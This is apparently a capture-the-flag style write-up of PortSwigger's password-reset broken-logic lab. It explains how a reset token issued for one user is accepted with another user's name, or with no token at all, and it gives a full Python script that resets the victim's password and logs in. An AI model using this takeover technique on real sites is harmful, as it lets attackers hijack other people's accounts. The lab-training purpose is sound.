Password reset broken logic
Original lab: Password reset broken logic on PortSwigger ↗
A password reset token is only a security control if it's actually checked at the moment it matters — when the new password gets saved, not just when the reset form is first displayed. This lab's reset flow validates the token exactly once, at the wrong step, and then trusts whatever username shows up in the follow-up request.
The Target
POST /forgot-password with a username triggers a reset email containing a link with a temp-forgot-password-token query parameter. Following that link renders a form to set a new password, which then submits back to /forgot-password carrying the token in the URL, plus the username as a hidden form field.
The Investigation
We ran the reset flow for our own account (wiener) first to see the mechanics: request a reset, retrieve the email via the lab's built-in email client, and pull the token out of the reset link with a regex against temp-forgot-password-token=. The interesting design detail our notes call out is that the username traveling with the final submission is just a hidden form field — nothing ties the token itself to which account it's supposed to apply to on the server side once that POST is received.
The Exploit
lab_3_password_reset_broken demonstrated this by taking our own genuinely valid reset token — issued for wiener — and submitting it with the username field swapped to carlos instead:
POST /forgot-password?temp-forgot-password-token=<wiener's real token>
temp-forgot-password-token=<wiener's real token>
username=carlos
new-password-1=pwned123
new-password-2=pwned123
That request succeeded, and logging in as carlos with pwned123 authenticated correctly — proving the server never checked that the token it was validating actually belonged to the username it was resetting. As a secondary path, the wrapper also tried submitting with an empty token value entirely for carlos, confirming the token isn't required to be present or valid at all for the reset to go through; either gap on its own is enough to break the flow, and our notes record that the token simply "is not checked when submitting new password."
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution demonstrates the same root flaw but through the empty-token path specifically: request a reset, intercept the resulting POST /forgot-password?temp-forgot-password-token=... request in Repeater, delete the token's value entirely — in both the URL and the request body — change the username field to carlos, set a new password, and send. The reset succeeds with no token value present at all.
Both paths prove the identical underlying defect: the server accepts the POST based purely on the username field, without ever validating that the accompanying token is valid, non-empty, or actually issued for that account. We happened to demonstrate it primarily via token/username mismatch (a token that's valid, just for the wrong person) with an empty-token fallback, while PortSwigger's walkthrough leads with the empty-token case directly — but either one on its own is sufficient proof the check doesn't exist, and our script's fallback covers the exact case PortSwigger's solution centers on.
What This Teaches Us
The token here isn't weak — it's simply never re-verified at the step that actually matters. Checking a token when the reset form is *rendered* and then trusting an unrelated username field when the new password is *saved* is a classic time-of-check/time-of-use gap dressed up as a two-request flow. The fix is straightforward: the server must look up which account a token belongs to and use *that* account for the password update, ignoring the client-submitted username entirely, and reject the request outright if the token is missing, expired, or doesn't match.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
Password reset broken logic
PortSwigger Web Security Academy -- Authentication
Companion script for the writeup: 12-password-reset-broken-logic.md
What this does:
Requests a password reset for our own account (wiener) and retrieves the
reset token from the lab's built-in email client. That token is genuinely
valid -- but only for wiener. The script then submits it back to the reset
endpoint with the username field swapped to the victim (carlos), proving the
server never checks that the token it's validating actually belongs to the
account it's resetting. As a secondary path (matching a fallback our original
wrapper also tried), it submits with an empty token entirely for carlos, in
case the primary path doesn't succeed on a given lab instance.
Usage:
python 12-password-reset-broken-logic.py <lab-url>
Requirements:
pip install httpx
"""
import re
import sys
import httpx
VICTIM_USER = "carlos"
NEW_PASSWORD = "pwned123"
def _csrf(html: str) -> str:
m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
return m.group(1) if m else ""
def _login(client: httpx.Client, lab_url: str, username: str, password: str) -> httpx.Response:
page = client.get(f"{lab_url}/login")
return client.post(f"{lab_url}/login", data={
"csrf": _csrf(page.text), "username": username, "password": password
})
def solve(lab_url: str) -> None:
client = httpx.Client(follow_redirects=True, timeout=15)
page = client.get(f"{lab_url}/forgot-password")
client.post(f"{lab_url}/forgot-password", data={
"csrf": _csrf(page.text), "username": "wiener"
})
print("[*] Reset requested for wiener.")
email_resp = client.get(f"{lab_url}/email")
token_match = re.search(r"temp-forgot-password-token=([^&\"'<>\s]+)", email_resp.text)
if token_match:
token = token_match.group(1)
print(f"[+] Reset token (issued for wiener): {token}")
reset_page = client.get(f"{lab_url}/forgot-password?temp-forgot-password-token={token}")
resp = client.post(f"{lab_url}/forgot-password?temp-forgot-password-token={token}", data={
"csrf": _csrf(reset_page.text),
"temp-forgot-password-token": token,
"username": VICTIM_USER,
"new-password-1": NEW_PASSWORD,
"new-password-2": NEW_PASSWORD,
})
print(f"[*] Reset submitted with wiener's token but username={VICTIM_USER}: {resp.status_code}")
_login(client, lab_url, VICTIM_USER, NEW_PASSWORD)
check = client.get(lab_url)
if "congratulations" in check.text.lower():
print("[+] Lab solved -- token/username mismatch was never checked.")
return
else:
print("[!] No reset token found in the email client -- trying the empty-token fallback.")
# Fallback: submit with no token value at all.
page = client.get(f"{lab_url}/forgot-password")
client.post(f"{lab_url}/forgot-password", data={
"csrf": _csrf(page.text),
"username": VICTIM_USER,
"temp-forgot-password-token": "",
"new-password-1": NEW_PASSWORD,
"new-password-2": NEW_PASSWORD,
})
_login(client, lab_url, VICTIM_USER, NEW_PASSWORD)
check = client.get(lab_url)
if "congratulations" in check.text.lower():
print("[+] Lab solved.")
else:
print("[-] Not solved yet.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →